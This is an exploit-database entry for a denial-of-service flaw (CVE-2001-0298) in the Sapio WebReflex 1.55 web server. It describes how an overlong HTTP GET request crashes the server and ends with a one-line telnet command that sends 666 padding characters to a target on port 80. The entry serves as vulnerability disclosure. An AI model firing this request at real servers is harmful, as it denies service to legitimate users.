Sapio WebReflex 1.55 - GET Denial of Service

Author: slipy
type: dos
platform: windows
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date_added: 2001-02-27 
date_updated: 2012-08-20 
verified: 1 
codes: CVE-2001-0298;OSVDB-13860 
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source: https://www.securityfocus.com/bid/2425/info

WebReflex is a software package designed to operate a HTTP server off a cdrom, providing web hosting on Microsoft Windows systems. It is written and maintained by Sapio Design Ltd.

A problem with the software could allow a denial of service to legitimate users. By issuing an excessively long HTTP GET request to the web server, the server becomes unstable and exits with a General Protection Fault. It may also be possible to execute arbitrary code, although this claim is unverified.

It is possible for a malicious remote user may take advantage of this vulnerability to deny service to legitimate users.

echo "GET " `perl -e 'print "A" x 666'` | telnet 192.168.0.20 80